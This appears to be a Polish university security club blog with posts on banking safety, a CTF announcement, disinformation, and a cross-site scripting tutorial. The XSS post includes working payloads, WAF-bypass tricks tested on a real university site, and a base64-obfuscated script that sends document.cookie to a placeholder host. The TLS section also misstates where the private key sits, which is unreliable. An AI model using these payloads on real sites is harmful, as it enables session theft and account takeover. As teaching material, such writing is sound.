SSL (Secure Socket Layer) - Standard szyfrowania danych w Internecie, zapewnia bezpieczne połączenie między serwerem a klientem. TLS jest często zamienne w użytkowaniu z SSL, nie jest to jednak protokół tożsamościowy. TLS jest rozwinięciem standardu SSL, przez co jest bezpieczniejszy. Obecnie nie mamy już do czynienia z SSL-em, a tylko z jego nazwą, która wykorzystywana do dzisiaj kojarzy się z bezpieczeństwem. Całość szyfrowania TLS opiera się na szyfrowaniu asymetrycznym. Dzięki generowaniu klucza publicznego (po stronie serwera) oraz klucza prywatnego (po stronie klienta), zapewnia poufność pakietów przesyłanych w internecie. Oznacza to, że osoby trzecie nie są w stanie rozszyfrować naszych danych, tym samym jesteśmy odporni na atak typu man-in-the-middle.

UWAGA: Szyfrowane połączenia są bezpieczne, jednak tylko, gdy mamy pewność, że serwer, do którego się łączymy, jest stroną, za którą się podaje. Pamiętajmy, że przestępcy często wykorzystują naszą nieuwagę i podsyłają nam strony do złudzenia przypominające witryny np. naszego banku. Więcej o tym czym jest phishing i jak sobie z nim radzić znajdziesz w artykule Phishing - White Hats (pwr.edu.pl).

Zawsze upewnij się, że jesteś w docelowej witrynie przed wprowadzeniem jakichkolwiek informacji!

Certyfikaty TLS - certyfikaty pozwalające nam sprawdzić wiarygodność strony internetowej. Dzięki nim wiemy jaka firma lub instytucja odpowiada za wiarygodność danej witryny. W celu zweryfikowania certyfikatu należy kliknąć na kłódkę przy pasku wyszukiwania. Można sprawdzić jaki urząd certyfikacji go wydał. W przypadku braku certyfikatu, przez przeglądarkę zostanie wyświetlone ostrzeżenie. Niestety obecnie sama ‘kłódka’ nie świadczy o wiarygodnym urzędzie certyfikacji, certyfikat można kupić i dodać do swojej strony internetowej, dlatego warto przede wszystkim zadbać o bezpieczne wchodzenie na stronę banku np. z zapisanego adresu w karcie ‘ulubione’.

Dzięki algorytmom kryptograficznym nasze połączenia z serwerami banku są zabezpieczone przed osobami trzecimi i jesteśmy w stanie bezpiecznie wykonywać m.in. przelewy za pośrednictwem banku.

Jak korzystać z aplikacji, aby zadbać o bezpieczeństwo naszych danych?

Wiele osób nie jest pewnych bezpieczeństwa bankowości mobilnej, przez co rezygnuje z niej. Dostęp do bankowości z poziomu “kieszeni” ma jednak zdecydowanie więcej zalet, niż wad. Deweloperzy aplikacji bankowych na telefon są w pełni świadomi zagrożeń związanych z cyberprzestępczością. Odpowiednie algorytmy kryptograficzne gwarantują nam bezpieczne połączenie end-to-end.

Klika prostych zasad, których warto przestrzegać korzystając z internetu, aby nie zostać ofiarą oszustwa:

Dbaj o higienę skrzynki pocztowej Newslettery, które nie są Ci potrzebne, można usunąć z poczty, anulując swoją subskrypcję. Pamiętaj, że usunięcie z listy newslettera nie znaczy, że dana firma nie kolekcjonuje twoich danych. Upewnij się czytając, regulamin i podejmij odpowiednie kroki, aby wypisać się z bazy klientów.
Regularnie aktualizuj oraz restartuj swoje urządzenia Aby chronić klientów przed hakerami, którzy wykorzystują podatności i luki w systemie, chcąc dostać się do naszych prywatnych informacji, aktualizujemy systemy do najnowszych wersji. Naprawione błędy i sprawniej działające urządzenia to coś, z czego nie należy rezygnować.
Czyść ciasteczka Czy zdarzyło Cii się, że szukałeś idealnego prezentu dla swojej mamy i gdy w końcu udało Ci się go znaleźć, każda reklama, wyświetlana na odwiedzanych przez Ciebie stronach, zawiera właśnie ten produkt? Są to bardzo tzw. pliki “ciasteczka” (ang. cookies), które zbierają informację na temat użytkowników strony internetowej i są przechowywane przez przeglądarki nawet do tygodnia w pamięci. Często zebrane dane są przekazywane lub sprzedawane do innych instytucji w celach profilowania konsumentów. Dlatego koszyk w sklepie, do którego nawet się nie zalogowałeś, jest nadal pełny.
Uważnie korzystaj z ważnych funkcji w telefonie" Emocje, zmęczenie, alkohol, stres,czy przebodźcowanie, to czynniki, które osłabiają zdolność realnej oceny sytuacji. Wykorzystują to socjotechniczne ataki phishingowe, które mają na celu wyłudzenie naszych danych lub pieniędzy. Łatwiej jest popełnić błąd np. literówkę, lub kliknąć w nurtujący szkodliwy odnośnik.

Materiały wykorzystane w artykule:

https://prnews.pl/r-mobile-wygoda-i-niezaleznosc-63206

https://www.bankier.pl/wiadomosc/Historia-bankowosci-mobilnej-w-Polsce-7284816.html

https://mlodytechnik.pl/eksperymenty-i-zadania-szkolne/wynalazczosc/30372-aplikacje-mobilne

https://www-geeksforgeeks-org.translate.goog/wireless-application-protocol/

https://prnews.pl/nowosc-w-ofercie-millennium-przelewy-przez-smsy-79382

https://surebety.pl/artykul/przelewy24/

https://www.bankrate.com/banking/best-security-practices-for-mobile-banking

https://www.cashbill.pl/blog/bezpieczenstwo/bezpieczenstwo-platnosci-internetowych-i-certyfikaty-ssl/

https://www.esat.kuleuven.be/cosic/publications/article-549.pdf

Break The Syntax CTF 2022

Tue, 07 Jun 2022 00:00:00 +0000

[PL] Break the Syntax 2022

3.06.2022 o godzinie 18:00 rozpoczęła się trzecia edycja organizowanego przez nas turnieju Jeopardy Capture The Flag, Break The Syntax.

Oficjalny plakat turnieju.

Wydarzenie trwało 42 godziny do 5.06.2022 do godziny 12:00. Udział wzięło 118 drużyn.

Writeupy z wydarzenia dostępne są na naszym GitHubie.

[ENG] Break the Syntax 2022

On June 3rd, 2022 at 6:00 PM the third edition of our Jeopardy-style CTF tournament, Break the Syntax took place.

The official poster of the tournament.

The event lasted 42 hours up to June 3rd, 2022, 12:00 AM. 118 teams took part.

The writeups from the event our available on our GitHub.

Doba dezinformacji

Tue, 15 Mar 2022 00:00:00 +0000

Wstęp

W dobie internetu, dzięki szerokiemu dostępowi do informacji i ich szybkiemu przepływowi, stoimy w obliczu wyzwania jakim jest stres informacyjny, czy dezorientacja przez nie wywołana. Spadek zaufania społecznego do dziennikarzy czy telewizji przeniósł nas do teoretycznie bardziej “prawdziwego” czy “nieprzefiltrowanego medium” jakim właśnie jest Internet. Ludzki umysł ma tendencję do szybkiego przetwarzania wiadomości z otoczenia i często, posługując się heurystykami, automatycznie uznaje docierające do niego informacje za prawdziwe. Z tego powodu zjawisko Fake Newsów stało się tak powszechne i szkodliwe, ponieważ prowadzi do tworzenia zakłamanego obrazu rzeczywistości, a przez bezrefleksyjne przyjmowanie dostępnych nam treści stajemy się podatni na manipulacje. W tym artykule szerzej omówię to zjawisko, oraz praktyczne metody jak bronić się przed dezinformacją.

Źródła i czym są Fake News?

Fake News to po prostu fałszywe lub zmanipulowane informacje, których szkodliwy wpływ polega na utrwalaniu nieprawdy i szerzeniu dezinformacji, co może wiązać się z korzyściami dla twórców takich wiadomości. Niestety, nie jesteśmy tylko celem takich informacji, ale często stajemy się ich pośrednikiem, przez udostępnienie czy rozpowszechnienie w inny sposób. Przykładów nie należy daleko szukać, część z nas zapewne słyszała wykład Jerzego Zięby o tym, aby leczyć COVID-19 witaminą C. Chaos informacyjny podczas pandemii COVID-19 przyczynił się do negatywnego nastawienia społeczeństw do informacji przekazywanych przez rząd w mediach tradycyjnych i utraty ich wiarygodności, dlatego coraz częściej staramy się znaleźć “prawdę” na własną rękę w internecie. Jednak nieznajomość tematu, zła interpretacja faktów czy napotkanie tam zmanipulowanych treści nie przynosi nam nic dobrego z takiego, darmowego dostępu do informacji. Natalia Sawka z Agence France-Presse, zajmująca się na co dzień weryfikacją informacji, w rozmowie z Działem Zagranicznym twierdzi, że jednym z powodów dla, których Fake Newsy są rozprzestrzeniane jest to, że utwierdzają nas w swoich przekonaniach. W psychologii takie zjawisko nazywane jest rozumowaniem motywowanym. Badania ekspertów z Brookings Institution, w których wykazano, że jednym z powodów dla których ludzie przyczyniają się do udostępniania Fake Newsów jest polityczne spolaryzowanie społeczeństwa, są potwierdzeniem tego sposobu rozumowania. Badani Republikanie byli skorzy do przekazywania dalej fałszywych informacji, tylko dlatego, że zgadzały się ze światopoglądem pasującym do ich partii politycznej, lub takich, które szkodziły partii opozycyjnej, mimo świadomości ich nieprawdziwości. Przywołane w tej samej rozmowie badania Eurostat dobitnie pokazują, że Polskie społeczeństwo nie jest nauczone weryfikacji źródeł informacji, przez to i przez coraz wyraźniej spolaryzowanie społeczeństwa widać, że możemy być częstszym celem do manipulacji i propagandy, dlatego ważne jest abyśmy nabrali kompetencji do przeciwstawieniu się temu zjawisku.

Jak się bronić przed dezinformacją?

Musimy przyjąć do wiadomości fakt o naszej własnej omylności, o tym, że każdy z nas może dać się poddać manipulacji. Ważna jest również świadomość błędów poznawczych czy uproszczonych metod wnioskowania - heurystyk, którymi się posługujemy. Pomoże nam to dostrzec wady w naszym własnym myśleniu i uwrażliwić nas na takie same błędy popełniane przez innych. Kluczowym jest krytyczne podejście do informacji, ostrożność i czujność. Często dana informacja ma na celu wywołanie w nas określonych, skrajnych emocji, przez co przestajemy myśleć racjonalnie i szybko chcemy powiadomić o niej innych. Musimy podchodzić na chłodno do newsów nam prezentowanych, a zanim je udostępnimy, sprawdzić ich wiarygodność. Powinniśmy być uczeni, że są pewne instytucje, naukowcy, czy weryfikatorzy, które są bardziej wiarygodne niż media społecznościowe. Nie ufajmy ślepo autorytetom - dorobek naukowy danego naukowca warto sprawdzić, np. gdzie publikował wcześniej, czy były to renomowane czasopisma naukowe, czy są cytowani w swoim środowisku. Generalnie do źródeł godnych zaufania zaliczamy zasoby uniwersytetów i instytucji naukowych, informacje dostępne na stronach rządowych, upublicznione opracowania naukowe, wyniki badań, artykuły naukowe, zasoby bibliotek ośrodków naukowych czy instytutów, artykuły w Wikipedii angielskiej oznaczone gwiazdką, która oznacza najwyższy standard informacji dostępnych na tej stronie. Powinniśmy jednak mieć też świadomość tego, że część informacji może być dla nas zbyt trudna, ponieważ nie wszyscy dysponujemy wiedzą na poziomie akademickim w każdym temacie, przez co nie jesteśmy w stanie na własna rękę wszystkiego skutecznie zweryfikować. W takim przypadku to, co nam pozostaje, to umiejętność oceny źródeł przekazanych informacji. Media, które rzetelnie sprawdzają swoje źródła, dopuszczają do głosu specjalistów, cytują artykuły naukowe czy badania, z wielką starannością dbają o informacyjność oraz bezstronność swojego przekazu, część informacji sprawdzają za nas, dzięki czemu będziemy mieli wysokie prawdopodobieństwo, że ta nowa informacja jest najbliższa prawdzie.

Jak wygląda weryfikacja informacji na Facebooku?

Media społecznościowe stały się aktualnie jednym ze źródeł najszybszego rozprzestrzeniania się wiadomości ze świata. Użytkownicy mają możliwość zgłaszania fałszywych treści i później, bez ingerencji Facebooka, niezależna firma fact-checkingowa wybiera informacje, które podda weryfikacji na podstawie szybkości rozprzestrzeniania i zasięgu. Po procesie weryfikacji, pisane są artykuły i wtedy użytkownicy napotykając się na daną informacje widzą oznaczenie specjalną etykietą, czy jest to informacja prawdziwa, fałszywa czy wyrwana z kontekstu.

Świadomość mechanizmów działania mediów społecznościowych - to, jak są projektowane pod utrzymanie naszej uwagi poprzez bodźce i emocje, jakie są nam w stanie dostarczyć, wydaje się być kluczowe w celu minimalizowania ulegania manipulacjom w ich obszarze. Poniżej tego artykułu zamieszczam tytuły filmów dokumentalnych w tym temacie.

Red flags nierzetelnego źródła, czyli jak rozpoznać Fake News

Natrafiając na dany artykuł w internecie można przejść na stronę główną danego serwisu i zobaczyć jakie ogólnie treści są tam publikowane. Jeżeli widzimy dużo artykułów pseudonaukowych czy oceniamy, że może to być źródło o danej ideologii i stronniczości, która może rzutować na opublikowaną treść - nie powinniśmy czerpać stamtąd informacji.
Alarmujące dla nas powinny być wszelkie tytuły z tezą, nacechowanie emocjonalne, czy użycie sensacyjnego języka zamiast nastawienia na informacyjność przekazu.
Serwisy z brakiem źródeł zamieszczanych informacji sugerują niewiarygodność informacji.
Interesowność w sposobie przedstawianych informacji, np. “Predatory Journals”.

Inne metody weryfikacji

Można zwrócić się do weryfikatorów informacji. (linki na końcu artykułu)
Coraz częściej samo społeczeństwo chce przeciwstawiać się szerzeniu nieprawdy, więc sprawdzanie komentarzy pod danymi informacjami może być dobrym pomysłem. Możliwe jest, że ktoś podesłał link do prawdziwego źródła czy sam zweryfikował informacje i chce się podzielić.
Weryfikacja zdjęć jest możliwa przez wyszukanie oryginalnego obrazu i jego źródła, poprzez stronę TinEye czy odwrotne wyszukiwanie w Google Images.
Do weryfikacji wideo może posłużyć narzędzie InVid , ale też dopatrywanie się w materiale szczegółów takich, jak rejestracje samochodów, język przechodniów, loga firm, znaki na ulicy, czy rozpoznanie charakterystycznych punktów orientacyjnych miasta widocznego na nagraniu, może pomóc w rozstrzygnięciu czy wideo nie zostało nagrane w innej lokacji lub czy nie dotyczy innego wydarzenia.

Podsumowanie

Aby przeciwstawić się szerzeniu dezinformacji powinniśmy:

zachować postawę krytyczną do przedstawianych nam treści,
być podejrzliwymi i wrażliwymi na próby manipulacji,
weryfikować źródła informacji,
nie ufać ślepo autorytetom,
nie dawać się ponieść własnym emocjom,
mieć świadomość własnej omylności i być otwartymi do modyfikowania swoich poglądów, gdy napotkamy ku temu argumenty,
czerpać informacje z rzetelnych, godnych zaufania mediów, nie ograniczając się do jednego, przez co łatwiej będzie otrzymać pełny obraz sytuacji i stworzyć własną opinię.

Trwająca wojna Rosji z Ukrainą ukazuje nam, że w XXI wieku nie tylko działania militarne są bronią, ale również szerzenie fałszywych informacji stało się orężem. Stąd, niezmiernie ważna jest walka z dezinformacją, oraz umiejętność odróżnienia prawdy od fałszu, która umożliwi obronę przed manipulacją nawet w tych burzliwych czasach.

Polecane

Strony weryfikujące - do takich portali możemy zgłaszać informacje w celu ich weryfikacji, jak również publikowane są tam artykuły omawiające zweryfikowane bądź obalone dotychczasowe informacje krążące po internecie:

Filmy dokumentalne omawiające sposób działania oraz wpływ mediów społecznościowych:

The Social Dilemma - reż. Jeff Orlowski
The Great Hack - reż. Karim Amer i Jehane Noujaim
Screened Out - reż. Jon Hyatt

Filmy YouTube:

https://www.youtube.com/watch?v=DcRM22R-DOs - 8 rad od Niebezpiecznika
https://www.youtube.com/watch?v=T1vW8YDDCSc - “Krótki film o prawdzie i fałszu”, materiał na kanale popularnonaukowym SciFun na portalu youtube.com

Źródła i zdjęcia

Cross-Site Scripting

Tue, 01 Jun 2021 00:00:00 +0000

O XSSach słyszał chyba każdy kto kiedykolwiek interesował się bezpieczeństwem aplikacji webowych (stron internetowych). Zgodnie z raportem firmy Contrast Security na rok 2019, atak z wykorzystaniem tego wektora został przeprowadzony na 55% zbadanych aplikacji i stanowił aż 4% wszystkich ataków we wrześniu 2018 (ustępując liczbowo tylko SQL injection).

Czym jest XSS?

Zgodnie z definicją organizacji OWASP, cross-site scripting to typ ataku, w ramach którego w stronę internetową wstrzyknięty zostaje kod języka skryptowego (najczęściej JavaScript). Skrypt ten zostaje wykonany po stronie użytkownika - w przeglądarce.

Pierwsze wzmianki o wstrzykiwaniu kodu w zawartość strony pojawiają się w dokumencie Zespołu Bezpieczeństwa przeglądarki Internet Explorer z 1999 roku. Opisano wtedy jak taki atak mógłby zostać przeprowadzony i jakie mogłyby być jego skutki. Po drobnych modyfikacjach opublikowano go w 2000 roku, gdzie po raz pierwszy pojawia się oficjalny termin cross-site scripting

Aplikacje webowe w dużej mierze opierają się na wybranej formie języka skryptowego działającego w tle, w trakcie ładowania strony lub jej przeglądania. Bez nich ciężko byłoby np. zbierać liczbę odwiedzin lub tworzyć animowane elementy interfejsu (choć nie byłoby to całkowicie niemożliwe). Ciekawy przegląd popularnych serwisów bez działającego JavaScripta w tle opisano tutaj.

Czy nie możemy zatem zrezygnować z języków skryptowych na stronach żeby ograniczyć możliwości ataku? Możemy, jednak dużo prościej jest dodać parę gotowych (niekoniecznie sprawdzonych) bibliotek języka JavaScript i cieszyć się responsywną aplikacją. Niestety przez takie podejście często tworzymy kod podatny na błędy. Skoro jednak XSS jest od tak dawna znane, to czemu nadal istnieją strony na niego podatne? Jest to dość skomplikowane zagadnienie, które w ciekawy sposób wyjaśnił jeden z użytkowników portalu stackexchange. Głównymi czynnikami są m.in.:

ograniczenia czasowe w projektach IT
częste zmiany w bibliotekach języków wykorzystywanych w tworzeniu aplikacji webowych
niektóre stare aplikacje wciąż są w użyciu i nie mogą ot tak zostać zamknięte

Rodzaje ataków XSS

Wyróżniamy trzy główne rodzaje ataków cross-site scripting:

stored
reflected
DOM-based

Każdy z nich postaram się omówić poniżej.

{: .notice–info} Na potrzeby praktycznego przedstawienia błędów, przygotowałem proste aplikacje napisane w języku Python, które znaleźć można tutaj.

Reflected XSS

Atak XSS możemy wykonać na wiele sposobów. Z typem reflected mamy do czynienia, gdy aplikacja odbiera dane w zapytaniu HTTP i załącza je w bezpośredniej odpowiedzi do użytkownika w sposób nieprzetworzony - jak sama nazwa wskazuje, następuje dosłowne odbicie informacji.

{: .notice–info} Z języka angielskiego reflect - odbić

Załóżmy, że strona posiada wyszukiwarkę i można przez nią przeglądać zawartość pewnej bazy - wysyłamy zapytanie i w odpowiedzi otrzymujemy listę.

Prosta wyszukiwarka

Nie było by w tym nic nadzwyczajnego, gdyby nie fakt, że ta aplikacja nie zabezpiecza tego, co zostaje wyszukane. Można to zweryfikować, wprowadzając np. ciąg <script>alert(2)</script>.

Praktyczny atak

Jak można zauważyć, wyszukiwana fraza jest przekazywana poprzez parametr q w ramach adresu URL. Taki adres można wysłać ofierze i podany kod wykona się w jej przeglądarce.

http://localhost:5000/?q=%3Cscript%3Ealert%282%29%3C%2Fscript%3E

{: .notice–info} Więcej o atakach reflected XSS można przeczytać tutaj.

Stored XSS

Atak stored XSS (inaczej second-order lub persistent) jest możliwy, gdy aplikacja przyjmuje niezweryfikowane ciągi znaków i wyświetla je w przyszłych odpowiedziach.

Przykładowa aplikacja przechowuje notatki użytkownika i zwraca wszystkie w formie listy.

Prosta aplikacja do przechowywania notatek

Jak pewnie można się domyśleć, notatka na stronie, która jest stworzona z wykorzystaniem pola tekstowego, nie jest w żaden sposób sanityzowana po wysłaniu. Jak można to zweryfikować? Dokładnie tak jak w poprzednim przypadku - wysyłając odpowiedni ciąg zawierający znaki, które mogą zostać nieprawidłowo przetworzone. W tym przypadku wykorzystam kod wyświetlający film promocyjny Politechniki Wrocławskiej z platformy YouTube:

<iframe id="yt" type="text/html" width="320" height="180" src="http://www.youtube.com/embed/u6TFVrT3IaQ?autoplay=1" frameborder="0"/>

{: .notice–info} Sanityzacja - proces odpowiadający za usunięcie z kodu niedozwolonych znaków

Atak stored XSS w praktyce

Jeśli baza notatek (lub czegokolwiek innego co jest obsługiwane przez aplikację) byłaby współdzielona przez innych użytkowników, mogłoby to być poważne zagrożenie bezpieczeństwa prowadzące np. do całkowitego przejęcia konta lub…automatycznego przekazania tweeta (o czym można posłuchać tutaj)

{: .notice–info} Więcej o atakach stored XSS można przeczytać tutaj.

DOM-based XSS

{: .notice–info} DOM (Document Object Model) - interfejs dla dokumentów HTML i XML. Odpowiada za dwie rzeczy: zapewnia reprezentację struktury dokumentu oraz określa, w jaki sposób odnosić się do tej struktury z poziomu skryptu. DOM nie jest sam w sobie językiem programowania, ale bez niego np. język JavaScript nie miałby żadnego odniesienia do stron czy dokumentów XML i ich elementów.

Atak typu DOM-based (Document Object Model-based) jest często mylony z reflected XSS. Zasada działania jest podobna:

użytkownik podaje dane
zostają one zwrócone na wyświetlanej stronie

Z atakiem DOM-based mamy jednak do czynienia, gdy JavaScript (lub inny wykorzystywany w przeglądarce język skryptowy) przekazuje otrzymane dane do elementów umożliwiających dynamiczne wykonywanie kodu (np. eval() lub innerHTML). Najpopularniejszym źródłem ataków DOM XSS jest obiekt windows.location pozwalający na spreparowanie adresów URL. Dane przetwarzane w ten sposób mogą nigdy nie dotrzeć do serwera końcowego (całość ataku może odbyć się po stronie klienta - client-side).

Najłatwiej jest to przedstawić na przykładzie. Wykorzystam do tego bardzo prostą stronę wyświetlającą zapisane pliki graficzne.

Prosta strona wyświetlająca zdjęcia

Jak można zauważyć, wraz z wyborem zdjęcia, zmienia się tzw. fragment identifier czyli element rozpoczynający się hashem #. Jest on opcjonalnym fragmentem URI i zazwyczaj wykorzystuje się go w celu identyfikacji pewnego elementu strony (w tym przypadku zdjęcia). Za wyświetlanie plików graficznych odpowiada poniższy fragment w języku JavaScript:

window.addEventListener('hashchange', ev => {
 document.getElementById('image').innerHTML = '<img src="./image' + unescape(location.hash.slice(1)) + '.png">';
});

function fn() {
 var select = document.getElementById("s");
 var selected = select.value;
 window.location.hash = selected;
}

W skrócie, przechwytuje on zmiany wartości po znaku #, a następnie do elementu <div id="image"> wpisuje kod <img src="./imageID.png">, gdzie ID jest właśnie wspomnianą wartością. Łącząc to z prostą listą elementów, można stworzyć narzędzie do wyświetlania zdjęć. Co jednak jeśli jako ID przekażemy spreparowany kod?

Atak DOM XSS

Wykorzystałem poniższy ciąg znaków:

" onerror="alert(2)">

Po wykonaniu zapytania, JavaScript generuje następujący kod:

<div id="image"><img src="./image" onerror="alert(2)">.png"&gt;</div>

Jak można zauważyć, tag img odwołuje się do nieistniejącego pliku ./image. Dopisany zostaje event onerror sprawiający, że w przypadku dowolnego błędu (a takim jest brak zdjęcia), wykonany zostanie kod w języku javascript alert(2). Atak ten odbył się w pełni po stronie użytkownika, z wykorzystaniem istniejącego kodu języka skryptowego.

{: .notice–info} Więcej o atakach DOM-based XSS można przeczytać tutaj.

Przykład z życia

Najlepiej uczyć się na praktycznych przykładach. A co jeśli dodatkowo da się takie znaleźć na jednej ze stron Politechniki Wrocławskiej? Ten rozdział poświęcę błędowi XSS znalezionemu na portalu Katedry Podstaw Elektrotechniki i Elektrotechnologii.

Przeglądając stronę Katedry można zauważyć, że posiada ona wyszukiwarkę. Nie byłoby to nic ciekawego gdyby nie fakt, że frazy wpisywane za jej pośrednictwem, zostają zwrócone bezpośrednio użytkownikowi, a wyszukiwany ciąg znaków pojawia się w nowym adresie URL.

Najzwyklejsza w świecie wyszukiwarka fraz na stronie

Fraza pojawia się w nowo-wygenerowanej stronie

Adres URL po wyszukaniu frazy

Pierwsza myśl - na pewno jest to zabezpieczone. Aby jednak zaspokoić swoją ciekawość, wykorzystałem ciąg znaków znany każdemu kto kiedykolwiek bawił się podatnością typu cross-site scripting:

<script>alert(1)</script>

W najlepszym razie strona powinna po prostu bezpośrednio wyświetlić ten kod w miejscu frazy wyszukiwanej - tu jednak to się nie wydarzyło. Strona od razu zwróciła błąd ERR_CONNECTION_RESET.

Błąd ERR_CONNECTION_RESET

Taka sytuacja zmusza do myślenia. Czy serwer nie radzi sobie z odpowiedzią? A może jednak po drodze postawiono jakiegoś WAFa, który odcina połączenie w przypadku wykrycia określonej frazy?

{: .notice–info} WAF (Web Application Firewall) - system bezpieczeństwa przystosowany do ochrony stron internetowych poprzez monitorowanie i filtrowanie ruchu HTTP między aplikacją, a Internetem. Zasadę działania świetnie opisano na blogu KapitanHack.

Zacząłem od próby obejścia hipotetycznego filtra - zakładam w tym momencie, że coś po stronie serwera wykrywa słowo script lub alert. W tym celu przygotowałem prosty kod, który bez wykorzystania dyrektywy script wykona kod w języku JavaScript:

<img src="././nieistniejacezdjecie.jpg" onerror="alert('1');">

Fragment ten działa w następujący sposób:

Podjęta zostaje próba zaimportowania pliku graficznego ././nieistniejacezdjecie.jpg
W przypadku jego braku lub innego błędu, wykonane zostaje polecenie alert('1') w języku JavaScript (pojawia się wyskakujące okienko z cyfrą 1).

Niestety ponownie otrzymałem ERR_CONNECTION_RESET. Wykorzystałem teraz kod podobny do wcześniejszego, z modyfikacją zapisującą cyfrę 1 do konsoli przeglądarki zamiast wyświetlania jej w wyskakującym okienku:

<img src="././nieistniejacezdjecie.jpg" onerror="console.log('1');">

{: .notice–info} W przypadku przeglądarki Google Chrome lub innych bazujących na silniku Chromium (np. Edge i Opera), aby wejść do konsoli należy wcisnąć klawisz F12 (Narzędzia developerskie). Podobnie jest w przypadku przeglądarki Firefox.

Tym razem sukces - oczekiwane wpisy pojawiły się w konsoli.

PoC ataku XSS

Co jednak można z takim błędem zrobić? Poniżej przedstawię dwa możliwe scenariusze.

Żart na koledze ze studiów

Oczywiście, że najlepszą metodą przedstawienia błędu jest wykonanie żartu. Załóżmy hipotetycznie, że kolega ma na imię Wojtek i bardzo irytuje go pewna bardzo znana piosenka autorstwa Ricka Astleya. Odkryłem daną podatność na stronie politechnicznej i mogę wykorzystać to do zrobienia głupiego kawału. W tym celu przygotowałem prosty kod w języku JavaScript:

<script>
if(document.getElementById('xss_audio') == null ) {
var a = document.createElement('xss_audio');
a.src = "https://URL/nevergonna.mp3"
a.autoplay=true;
a.id='xss_audio';
a.style.display='none';
document.body.appendChild(a);
}
</script>

Polu a.src przypisujemy adres URL do pliku .mp3 danej piosenki. Wiem jednak, że strona nie akceptuje wyrazu script. W jednym z poprzednich artykułów na naszym blogu przedstawiliśmy, jak przestępcy mogą dostarczać dowolną treść na strony internetowe - poprzez data URI. Aby móc to wykorzystać, potrzebujemy zamienić kod do postaci base64 (np. poprzez dowolny konwerter online). Otrzymujemy w ten sposób poniższy ciąg znaków:

PHNjcmlwdD4KaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3hzc19hdWRpbycpID09IG51bGwgKSB7Cgl2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3hzc19hdWRpbycpOwoJYS5zcmMgPSAiaHR0cHM6Ly9VUkwvbmV2ZXJnb25uYS5tcDMiCglhLmF1dG9wbGF5PXRydWU7CglhLmlkPSd4c3NfYXVkaW8nOwoJYS5zdHlsZS5kaXNwbGF5PSdub25lJzsKCWRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7Cn0KPC9zY3JpcHQ+

To jednak nie wszystko - jak zamieścić to na stronie z wykorzystaniem XSS? Tu na pomoc przychodzi tag object (więcej o nim można przeczytać tutaj). Zbierając dotychczasową wiedzę, tworzę ciąg w postaci:

<object data="data:text/html;base64,PHNjcmlwdD4KaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3hzc19hdWRpbycpID09IG51bGwgKSB7Cgl2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3hzc19hdWRpbycpOwoJYS5zcmMgPSAiaHR0cHM6Ly9VUkwvbmV2ZXJnb25uYS5tcDMiCglhLmF1dG9wbGF5PXRydWU7CglhLmlkPSd4c3NfYXVkaW8nOwoJYS5zdHlsZS5kaXNwbGF5PSdub25lJzsKCWRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7Cn0KPC9zY3JpcHQ+"></object>

Nie pozostaje mi nic innego jak wkleić ten kod w pole wyszukiwania i wysłać nowy URL Wojtkowi z nadzieją, że mocno go to zirytuje - wynik na filmie poniżej.

{% include video id=“1LVW6sSfRtJFPIRX0p2iXIKbZz5eKgZXi” provider=“google-drive” %}

Przygotowałem również wersję dla tych, którzy preferują opcję wizualną.

{% include video id=“1XxhrsJBZXYD60zQ48rPwEktSqqjwWfGI” provider=“google-drive” %}

Kradzież konta

Drugi przykład różni się od poprzedniego, a jego skutki mogą być dużo bardziej poważne. Mowa tu o dosłownej kradzieży tożsamości pracownika lub studenta poprzez stronę.

Na stronie Katedry, nad wyszukiwarką, można zauważyć panel logowania. Portal ten wykorzystuje ciasteczka do przechowywania informacji o użytkownikach. Jest to najlepsza sytuacja dla cyberprzestępcy - dostępny XSS oraz dane trzymane w plikach cookie.

{: .notice–info} Więcej o plikach cookie można przeczytać tutaj.

Najprostszą metodą oszukania osoby zalogowanej jest wstrzyknięcie kodu, który po wyświetleniu danej strony wyśle ciasteczka do atakującego. Można wykorzystać do tego zapytanie HTTP GET. Poniżej przykład w języku JavaScript:

var xmlHttp = new XMLHttpRequest();
url = "http://127.0.0.1";
xmlHttp.open( "GET", url, false );
xmlHttp.send( null );

Jako url podajemy naszą domenę lub adres IP, na którym działa nasz serwer HTTP.

Ale jak wysłać ciasteczka? Ciekawą metodą jest zakodowanie ich do postaci base64 (np. wykorzystując metodę btoa) i dołączenie do naszego URLa w postaci parametru:

var xmlHttp = new XMLHttpRequest();
c = btoa(document.cookie);
url = "http://127.0.0.1/?c=" + c;
xmlHttp.open( "GET", url, false );
xmlHttp.send( null );

Wiemy jednak, że strona ta nie radzi sobie dobrze ze słowem script. Tu do gry wkracza metoda eval z języka JavaScript. W duzym uproszczeniu, jeśli przekażemy do niej kod w postaci tekstowej, to zostanie on wykonany. Można to połączyć z metodą atob dekodującą ciąg znaków z postaci base64.

Kodujemy gotowy kod zapytania GET do base64 z wykorzystaniem dowolnego konwertera:

dmFyIHhtbEh0dHAgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKYyA9IGJ0b2EoZG9jdW1lbnQuY29va2llKTsKdXJsID0gImh0dHA6Ly8xMjcuMC4wLjEvP2M9IiArIGM7CnhtbEh0dHAub3BlbiggIkdFVCIsIHVybCwgZmFsc2UgKTsgCnhtbEh0dHAuc2VuZCggbnVsbCApOw==

Wykorzystując zebrane dotychczas informacje tworzymy kod, który wykona przekazany ciąg znaków:

<img src=1 onerror="javascript:eval(atob('dmFyIHhtbEh0dHAgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKYyA9IGJ0b2EoZG9jdW1lbnQuY29va2llKTsKdXJsID0gImh0dHA6Ly8xMjcuMC4wLjEvP2M9IiArIGM7CnhtbEh0dHAub3BlbiggIkdFVCIsIHVybCwgZmFsc2UgKTsgCnhtbEh0dHAuc2VuZCggbnVsbCApOw=='))">

W konsoli pojawia się jednak błąd związany z CORS.

Wynik działającej polityki CORS

{: .notice–info} CORS (Cross-Origin Resource Sharing) - mechanizm blokujący przeglądarkom wykonywanie żądań HTTP do zasobów o innym pochodzeniu (protokół + domena + port). Nie jest to jednak zabezpieczenie przeciwko atakom XSS, które mogą je w prosty sposób obejść.

